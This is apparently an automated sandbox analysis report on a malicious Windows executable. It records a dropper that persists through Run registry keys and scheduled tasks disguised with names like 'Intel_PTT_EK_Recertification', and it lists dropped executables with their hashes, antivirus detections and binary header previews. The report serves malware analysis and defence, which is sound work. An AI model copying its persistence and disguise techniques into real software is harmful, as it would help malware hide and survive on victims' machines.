Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@111/68@54/17
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 142.250.181.99, 172.217.19.206, 64.233.164.84, 13.107.246.63, 4.245.163.56, 20.190.177.82, 20.42.73.29
Excluded domains from analysis (whitelisted): pancakedipyps.click, www.reddit.com, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, support.mozilla.org, clients2.google.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, e16604.g.akamaiedge.net, firefox.settings.services.mozilla.com, push.services.mozilla.com, www.youtube.com, prod.fs.microsoft.com.akadns.net, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, shavar.prod.mozaws.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, dualstack.reddit.map.fastly.net, youtube-ui.l.google.com, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.google.com, www.wikipedia.org, location.serv
Execution Graph export aborted for target bfa374134d.exe, PID 6976 because there are no executed function
Execution Graph export aborted for target f48847f8be.exe, PID 3108 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:56:01	API Interceptor	829512x Sleep call for process: skotes.exe modified
09:56:29	API Interceptor	679x Sleep call for process: bfa374134d.exe modified
09:56:48	API Interceptor	416813x Sleep call for process: 2db16943cb.exe modified
09:56:50	API Interceptor	2x Sleep call for process: svchost.exe modified
09:57:16	API Interceptor	7x Sleep call for process: fae24101ae.exe modified
15:55:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:56:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bfa374134d.exe C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe
15:56:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bfa374134d.exe C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe
15:56:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f48847f8be.exe C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe
15:56:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2f7f14fa8e.exe C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe
15:57:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8be8d9c4e9.exe C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe
15:57:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f48847f8be.exe C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe
15:57:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2f7f14fa8e.exe C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe
15:57:30	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
15:57:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8be8d9c4e9.exe C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe
15:58:40	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
15:58:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8639af97b9.exe C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe
15:58:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3ca19a76c8.exe C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe
15:59:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 093821f656.exe C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe
15:59:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 741343eac3.exe C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe
15:59:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8639af97b9.exe C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807530456243017
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9+:0J7adfWuK0p/QDfKoPeuP0aN4fqoxp
MD5:	2B988FABFAC6425B54439B4C5ED3FB19
SHA1:	159EF10ACE08933762B1BCDCED92A75AFAD9B107
SHA-256:	9A8AAA64808CB0F7E5EDE895E373F3AD7D63E3529AE8AAD2F941522EB6F4B713
SHA-512:	4F6F6CB79CE886A8637C40BED0CC9F72E5169BEAB16089F5527DF1F996F47601AA4C1BE906537FE719C2A8DB4C1DC9AAFF0DB5ECF8B568987DAAE940D1EABBAE
Malicious:	false
Reputation:	unknown
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27dfe520, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880790455725092
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:3azaPv4V4fXq2UaB
MD5:	9A737389360F98B492C43BA0999DB540
SHA1:	00D43366B891752CE2FEAA38F2CF6E4C37B130FB
SHA-256:	BFABA17DDFF12B7965E906C4BA921B9A29A89DECEC53C0BB77000042BCC53CBD
SHA-512:	BD42E03A60316384775C6FB8F704011FFD386DC523545BCB4C1CE10549BB7608CF4ED8B938575258A7F177D55E454A86A51B5C0316B4B163D71239C64B06FD8B
Malicious:	false
Reputation:	unknown
Preview:	'.. ... ...............X\...;...{......................X............{..28...\|..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................,..28...\|.8..................f.28...\|...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08199662952461949
Encrypted:	false
SSDEEP:	3:T4tKYegh8XlVG0+q2Iqe8lRDg5ylillNTt/4ll/Q6beV/:EtKz5GE8lljIHtc6V
MD5:	9A4EA6EDAF52EBBDBBEAE8B173726871
SHA1:	8AE74150FD9468B4EA273EAD36B2ADC8ACA1C14C
SHA-256:	839A6359F9916A111B382CCC00140EF9F4D02926DF04819135B88C9A39CFCAA6
SHA-512:	E4DD22965DDDE72FFE88BE2D69C1BC215AAFF46B220E6C0B16F258EB199520024BDF0ACB4D5E666F8B6B86C5496D52B068E8008A39EA1AF7E79FE2367F09B0D5
Malicious:	false
Reputation:	unknown
Preview:	.-:4.....................................;...{..28...\|.......{...............{.......{....:......{...................f.28...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8be8d9c4e9.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ON80Y93WBYHTIEIKRLTF27273JXE.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fae24101ae.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	972800
Entropy (8bit):	6.708255568566776
Encrypted:	false
SSDEEP:	24576:LqDEvCTbMWu7rQYlBQcBiT6rprG8aY90:LTvC/MTQYxsWR7aY9
MD5:	E1F841BEBBEC5D496EA53254BA60EA2D
SHA1:	A449D7CB884BCDAF00C165D9F1C9FDD2FB38A8C9
SHA-256:	EA44B04DB5FEDDB9D5E89A9C1542514E1B4DBD3D53271CCA4B23DB1740B1C6EF
SHA-512:	1596614EE82D68F0ED47581D8DFD4920ADF89960823698EA4F70C1D61839F493EBC0FBF4B75D03D4DBCFF234A4BE8BC276947A92CA1C73E620B0AEC1E0C9EF13
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....bg.........."..........(......w.............@..........................0......c.....@...@.......@.....................d...\|....@...l.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....l...@...n..................@..@.reloc...u.......v...b..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2037760
Entropy (8bit):	7.95245321029054
Encrypted:	false
SSDEEP:	49152:SQc9hQF6eD4S6a/WrILcc7QIFYpgZg22SZb0N+jm:HWQPDQYZogLb0ND
MD5:	2D17CA2A92D934F28AEC4E2B217FEBEE
SHA1:	92600BEC0B3178523A8A0FC6896CE8A642C8B10D
SHA-256:	523D3F45CF5D1CE2BCF6683B03996DF686E1BA8EB576316681BF5128BBC13F5F
SHA-512:	0703681DF137B187F97BA2542CEB407D62598DA450DF21A30568F4AE8CE237C0E96797686D5051A9044E2830385AAA534F8851364CA065EC097190282F961849
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......`M...........@...........................M......M....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...icaenpzq......2......X..............@...acsraxvu.....PM.....................@....taggant.0...`M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	7.9455327624025776
Encrypted:	false
SSDEEP:	49152:Lhhv9l2FMWh8GI9CvL55einmBmaBNUXu:L9k8Joz55eimBmaBNmu
MD5:	C5FEF8513ADA725231AE23A67A73C437
SHA1:	A6A4D99D30DF3BAE58BD400B57BA31B004C284CC
SHA-256:	29C68C4B291C1BC238D5FCD0EB843F5C4A9E9D534D66F6403ABE4C8C8C12A486
SHA-512:	A6AD41166A12A9409F3E7DC750D3905219572FD97BB6FBA68B37A0720CA1839040AD050472A2E55C6E45C18350FE554181E9A1C0352252E65EA54A3D22922180
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@...........................H......y....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..)..@.......^..............@...ysbjspdj....../......`..............@...irdueqtp......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2874880
Entropy (8bit):	6.510505422662701
Encrypted:	false
SSDEEP:	49152:+dkSuggW6rxuXK3sUvTNYk+4CDxAokwqZtU2D0VqofQP:gtuggW6rxuXK3swTNYk+4C9AjwqZtxoE
MD5:	E84367D8404D57C0ECE3E82C8C98F087
SHA1:	1A8E42A676C0B49827042C4B9BC5987BD2336D81
SHA-256:	84EF91B23431E2F6F35B4613316EA8A0F9EAD5B704339F5C4D2DF6D46D97BF3E
SHA-512:	14FD102D40922CB0152F52A107B047EBA289CDBDAD063C4F7D69D3ABD4018144206BB0C90ABA05CD57B08AD0FF099B314723D28152D941284A57F9EECE9EE7BC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................@O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...epdlxdrm.@...$..<..\|..............@...ksjtzbhl......O.......+.............@....taggant.0....O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	18409472
Entropy (8bit):	7.9981914537799
Encrypted:	true
SSDEEP:	393216:+CXIxigBp0COmu6vvmPIvCSxveKDawTIrMfCH:hIogBp0COhLPItGYTTIoqH
MD5:	3C224E3FC892719DC1E302378E533579
SHA1:	0A65062E1426A95BFECA355398B6FDC4912FB6B1
SHA-256:	64CC7F7906FE1EBF0B6977892ABD9AA36F5E525CB241964C3986EE9E1A18312D
SHA-512:	554A26E9654ECCCE831E4ADCEE49D5E2507956935E562B134A86F332D867DEBFCD1F64FDB88FCCB2E1EEE810975D565DBC6EA1376516817EE38765E4BD733A49
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...}.bg...............+..........................@..........................`......J.....@... ...................................... ..?....................@..............................D...........................P............................text...x...........................`..`.data...T...........................@....rdata..LC.......D..................@..@.eh_fram..... ......................@..@.bss.....................................idata..............................@....CRT....8...........................@....tls................................@....rsrc...?.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4453888
Entropy (8bit):	7.986866064116293
Encrypted:	false
SSDEEP:	98304:gzUjg5FqNPOmOaa+KFi90WNEZsx2VeUsGkXM9Aby5fgkaZdX:25FqN0aKFoXMKgXsGHAu5fAd
MD5:	0AC83051D42C812A3DEB74E093C48F9E
SHA1:	EF8DBB841CF66CB66EEEFCD282BAAA0544DD1FBD
SHA-256:	9EFC2D4A5F40A0BF856D84858BA422D4C504A276F03FA87AEC827F266726CE09
SHA-512:	EE04C5FF5F73156CACBB95A3D5D8AEBD0E28A011AA46FFE800D2D3B50BE16B88EFF285E87494B2EC9FE664C7E6AB2124E405D9523A691D8A953AEB89617F5021
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@..................................`D...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...ocsbkfkw.....@...z...T(.............@...ujuhopim..............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1809920
Entropy (8bit):	7.935978066277049
Encrypted:	false
SSDEEP:	49152:ZtatBh/jvn8dvOeYh3HJx7MVscChhV1ntEiTWX958yQRD9KHe3A:jatPw4ec3HwRCf6iTK9+okA
MD5:	2232B014AE8B1313BF45D61F44AE5F84
SHA1:	DBE4283863BBAB29DA9B81AF5CF743F909AC4491
SHA-256:	15289F051E9470AA08C921F594CEB9989952DBB0870C678E6A262CC0038A8DFB
SHA-512:	BBC05E0730A6F202B9D4048D827E03B34B29E098114D79D7F65630482111DB2CD6BAF5975209778FA097F038397989B4DF7B3FAE0A6146F7BD1C4701653CEB39
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... H.. ...`....@.. .......................`H......(....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... . ,..........8..............@...yxtglqzl.@....,..>...:..............@...ovmlmqjr. ....H......x..............@....taggant.@... H.."...\|..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
